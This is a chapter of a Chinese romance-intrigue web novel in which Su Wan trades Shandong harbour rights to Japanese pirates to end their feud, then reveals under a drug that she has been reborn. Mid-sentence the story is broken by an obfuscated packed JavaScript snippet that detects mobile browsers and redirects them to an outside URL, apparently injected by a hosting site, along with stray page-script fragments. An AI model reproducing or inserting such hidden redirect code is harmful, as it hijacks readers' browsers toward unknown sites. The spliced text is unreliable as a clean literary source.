谋君紫苏九月

100. 合谋

    “我要同倭人谈话。”


    见她执意如此,秦欢并未再加劝阻,而是抬眸望向首领武士,正色道:“这位姑娘并非什么南疆女奴,而是布政使殷潜的外甥女。”


    “殷布政使的外甥女被歹人当街掳走,我奉布政使之命前来剿匪。”


    “眼下似乎有些误会,你我当坐下会晤详谈先。”


    秦欢自未见到苏绾以后,第一反应就是她又起了幺蛾子,遂细细问过无霜关于苏绾的去向。


    无霜眨眨眼,终是不敢欺骗秦欢,扯着衣襟道:“小姐……同萧公子一同走了。”


    秦欢眼眸一沉,当下四处寻找萧染的打手,很快就查出来两人去向。他思了一瞬,向殷夫人要了殷潜的牙牌,城门处调了巡防兵马营急奔海边据点救人。


    既然对方愿意谈判,而不是抓捕他们入狱,首领武士求之不得,挥手将众人引入帐内。


    眼前这一切发生的太突然,萧染呆愣望着秦欢抱着苏绾,阵风般从身边走过。他咽了下喉咙,重新穿上被割破的襕衫,衣襟前后都是划痕,不比披风遮挡了多少。


    进入帐内,秦欢将苏绾放在塌塌米上,自怀里掏出布包,取出漆木盒里的银针,指腹微动,刺入苏绾周身几处穴位。


    银针入体,苏绾身子轻轻一震,冷汗瞬间浸湿衣衫。她咬紧牙关,没有发出一丝痛哼,直至毒香药性被暂时封锁,她才缓缓吐出一口气,强撑着精神从他怀中直起身。


    夜色深沉,海风裹挟着腥咸气息,吹得篝火火光忽明忽暗,映照出一张张或警惕、或凶狠的脸。


    “我可以给你们一条活路。”苏绾颤抖着嘴唇说道。


    首领武士冷笑一声,手掌搭在刀柄,“你不清醒,在说梦话。”


    苏绾眸子里金石闪耀,“我有另一片海域,足够你们活动。”


    篝火噼啪炸裂,带出几缕青烟,所有人的神色皆是一变,连秦欢也微微低眸。


    武士:“什么意思?”


    苏绾:“我把山东沿海船舶停靠权,开放给你们。”


    空气瞬间凝固。


    倭寇群中有人低声嗤笑。


    武士脸色阴沉,“据我所知,你们几人都是‘良家子’,一介平民百姓,有何资格说大话?”


    苏绾平静的目光扫过秦欢,“表哥,你同意吗?”


    秦欢身形微震,眼底浮起一抹震惊的情绪。


    外人皆知秦欢是悬壶济世的名医,无人知晓他暗中掌控着整个山东省海运,包括沿海商道。他的十万精兵囤积于沿海地区,上至省布政使,下至州郡县丞,皆是他安插的亲信,更有毒蛇堂执掌江湖漕运。可以说,山东的生杀予夺,尽在他一念之间。


    现在,她要他让出这片海域。


    秦欢望着她,胸口似被无形的手攥住,沉闷而钝痛。


    他一直以为,她对他的依赖、信任,甚至那些偶尔流露出的柔软,皆是真情流露。可直到此刻,他才明白,苏绾从未对他付出真心。她的每一步,都算得清清楚楚。


    她不是在寻求庇护,而是在下一盘大棋,而他,不过是她手中一枚精准落下的棋子。


    可悲的是,他心甘情愿做她的棋子。


    秦欢闭了闭眼,终究是压下心中翻涌的情绪,声音低沉而沙哑:


    “我……同意。”


    首领武士神色微怔,似乎不敢置信天上掉馅饼,“空口无凭。”


    苏绾嘴唇扯了扯,“山东沿海商道繁盛,远比浙江更适合倭人立足。你们若能在那里落脚,何必苦苦与殷潜纠缠?”


    随即眼色一沉,“真当我舅舅是软茄子?他昨儿个吃了你一刀,左右为自己单方面毁约付出了代价。你若死咬着他不松口,回头他同你玉石俱焚,你们可就竹篮打水一场空了。”


    她说得有道理,武士细忖一番,终是认为,武士魂不该死缠着一块浮木溺死。


    他嘴唇一扯,伸出交叉袖内的手:“成交。”


    秦欢目光幽深,抬手与他相握。


    这一刻,合约达成。


    倭寇自此放弃对殷潜的复仇,而苏绾的棋局,也终于落定。


    从最一开始,苏绾就是冲着谈判来的,她深知自己手里的筹码,唯有秦欢一人。可秦欢绝不肯轻易将利益拱手让给倭寇,因此也不会主动促成并参与谈判,苏绾唯有用自己为饵,以身入局,只为了引秦欢星夜驰援她。


    什么迷药,奴隶,灯市,仙人跳,前番一切的一切,都是苏绾做的局。怎可能辛苦扮美人就为了抓倭寇头子?笑死人了!她以一手妙法计策,将天下人,戏弄于股掌间。


    她的借刀杀人,借的是秦欢的刀,杀的是殷潜的势。至于倭寇狼子野心,苏绾也自有办法对付,此为“三连环局”。


    你看见了吗?我已经达成第一局成就了,你为我这个徒弟感到自豪吗?


    很快就会有第二局。


    苏绾立在风中,黑发被夜风吹得凌乱,映着天际黯淡的星光,身影显得越发单薄。她望着远方,漆黑的瞳仁深不见底。没有人知道,在那双波澜不惊的眼眸里,此刻究竟藏着什么样的情绪。


    离开倭寇据点,秦欢须回巡防营交接,萧染抱着苏绾,穿过荒凉的海滩,朝着来时的黑色马车走去。


    怀中的美人不肯安分,身上的薄纱被冷风吹得凌乱,露出一截莹白如玉的肩膀,肌肤微微泛着异样的红晕,滚烫的体温透过衣料灼得人心悸。


    此时银针封锁效果已耗尽,毒香冲破了禁锢,在苏绾的身体各处肆虐点火。她迷迷糊糊地在萧染怀里蹭了蹭,似是不满被他搂得太紧,低低地嘟囔:“热……”


    萧染抱着一块烫手山芋,拿也不是,放也不是。鼻翼萦绕着若有似无的馨香,令少年满脑子都是不切实际的幻想。


    指尖轻轻勾住襕衫袍子衣襟,眼尾晕着旖旎的潮红,嗓音软得不像话:“你是……谁?”


    “我是你孙儿,你是我祖宗。”萧染懊恼道。


    “嘻嘻,我的好大孙。”苏绾嬉闹着回应他。


    “闭嘴!”他咬牙低吼,恨不得把这磨人的妖精丢下去,可她的小手这一刻紧紧扣着他的腰,勒得他一个大男人竟有些窒息。


    苏绾被凶了一句,委屈地皱起娥眉,抬手假装拭泪,娇嗔道:“呜呜,你吼我?”


    “吼你怎么了?你再不老实,我就把你扔进大海。”两声娇软嗫嚅,令萧染喉结滚动,额角青筋直跳,几乎要发疯。


    苏绾被他的“凶狠”吓到了,嘟着粉红的小嘴道:“坏人。”


    说完,她竟抬手摸上了他的脸颊,指尖带着炙热的温度,一寸寸滑过刀削斧劈般下颚线,勾着襕衫领口一点点往下探去。


    破败的襕衫袍子根本禁不住拉扯,紧实胸膛外露,后背也淌着风。


    苏绾先是摸到了背后的十色蔷薇,她在画舫和山寨都见过,印象里对纹身花样并不陌生。


    指尖摩挲着肌肉,慢慢向前探去,摸到了那道天命疤痕——她并未亲眼见证疤痕的诞生,彼时她和晴雷正去马厩的路上。


    “噫,”指尖被不平的肌理磨得生疼,令美人发出小小的不满,“它咬我。”


    那一声细细的娇吟,抓挠着少年悸动的心。萧染闭上眼,下巴抵着她的额头,从牙缝里挤出怒吼:“放开你的手!”


    “嗯?”苏绾迷离地望着他,唇瓣染着醉人的红,“你不想要我吗?”


    少年的理智瞬间濒临崩溃。


    想,怎么可能不想?她这样撩着他,搁谁能忍?!


    可是,他不敢!


    他狠狠咬破嘴唇,强迫自己清醒,手臂一甩,将苏绾甩进马车里,一脚踢上车门,声音发哑:“快走!”


    马鞭抽下,车轮碾过泥地,疾驰而去。


    按照秦欢的嘱咐,萧染并


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14960682|146123||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    未返回殷府,而是将苏绾送到了之前住宿的碧霄居客栈,一路上苏绾不停地闹他,逼得少年中途差点跳车,车橼都被拳头打烂了。


    此时,秦欢已经安排完毕巡防营,在客栈里等候多时,他脸色极冷地看着萧染将苏绾抱进屋内,“怎么这样迟?”


    萧染喘着气,将虚弱的苏绾扔到床上,心虚道:“夜黑风高,马车绕了点路,你赶紧给她解毒。”


    秦欢蹙了蹙眉,不知是嗔萧染回来迟了,还是怪他摔坏了苏绾,但他目光扫了一眼苏绾,便知她体内的毒性已到极限,遂撩起袖子翻找药箱,冷声命令:“你出去。”


    萧染迟疑了一下,显然不放心。


    秦欢瞥了他一眼,“她现在不需要你了。”


    萧染怔愣着,一拳砸在门框,咬牙甩袖而去。


    屋内烛火微晃,映得帷帐生出摇曳的暗影,昏黄的光线勾勒出女子单薄起伏的身影。


    苏绾浑身发烫,肌肤泛着潮红,额角冷汗涔涔。她无意识地在床榻上翻滚,衣襟微微敞开,唇间溢出含糊不清呓语,声线柔媚而脆弱。


    毒性冲破银针的封锁,在她体内横冲直撞,使她彻底陷入昏迷。若再不即时救治,恐怕将精神彻底崩溃,疯症癔症卷土重来。


    刻不容缓。


    秦欢取出雕刻精细的药匣,袖袍一拂,跪坐榻前,开始施展自己从未在人前用过的医术——那是他真正的看家本领,足以将苏绾从地狱中拉回人世。


    时间缓缓流逝。


    寅时达旦,天明夜残。


    在秦欢高超的医术救治下,苏绾的身体逐渐平静,躁动的毒性被药力压制,喘息也不再急促。但她仍旧沉陷迷蒙之中,意识尚未完全恢复清明。


    秦欢沉默地望着她,眸色幽深。


    如同合欢散一样,这类催晴药一向具有催发真话的副作用,人在意识最薄弱的时候,本能会不自觉地暴露内心深处最真实的想法。


    他垂下眼眸,轻声试探:“苏绾,你听得见我吗?”


    苏绾睫毛轻颤,嘴唇微微张合,似乎在回应他。


    秦欢俯身靠近,“告诉我,你最想要的是什么?”


    苏绾半梦半醒,呢喃细语:“我要活下去。”


    活下去?


    秦欢的眼神愈发幽深,继续引导:“为什么?”


    苏绾眉头紧蹙:“因为,我已经死过一次。”


    “死过一次?”


    秦欢的呼吸瞬间滞住,眼底翻涌惊涛骇浪。


    苏绾此刻毫无防备,完全沉浸在药效催生的本能之中,继续呢喃道:“上辈子……我死了……被他们害死了……所以这一世,我不能再让自己落入他们手里……我必须……掌握主动权……”


    她竟然,与他一样。


    若是旁人听到这些话,定会以为她胡言乱语,然而秦欢毫不怀疑。


    脑海中无数疑问瞬间交织成网,关于苏绾的沉稳、算计、冷静、步步为营,甚至连她的未卜先知——这一切,原来都不是巧合。


    难怪,她会设计利用他。


    秦欢低头,静静地看着昏睡中的女子。


    他应当愤怒的。


    从始至终,她一直都在算计他,蛊惑他,利用他。


    可是,他无论如何都恨不起来。


    她在步步为营,他又何尝不是?


    他原以为自己看透世事,能够掌控一切,可如今才发现,真正清醒而冷静的人,从头到尾都是她。她比任何人都清楚自己在做什么,她也从未因儿女情长而失控。


    秦欢叹了一口气,伸手替她掖好被角。


    所有忧愁怨恨,这一刻烟消云散。


    苏绾昏了三日,经历无数重重梦魇,在无霜和秦欢互相配合照料下,她终于缓缓苏醒。


    醒来后第一句话:“表哥,我愿意嫁给你。”


    秦欢瞬间一滞。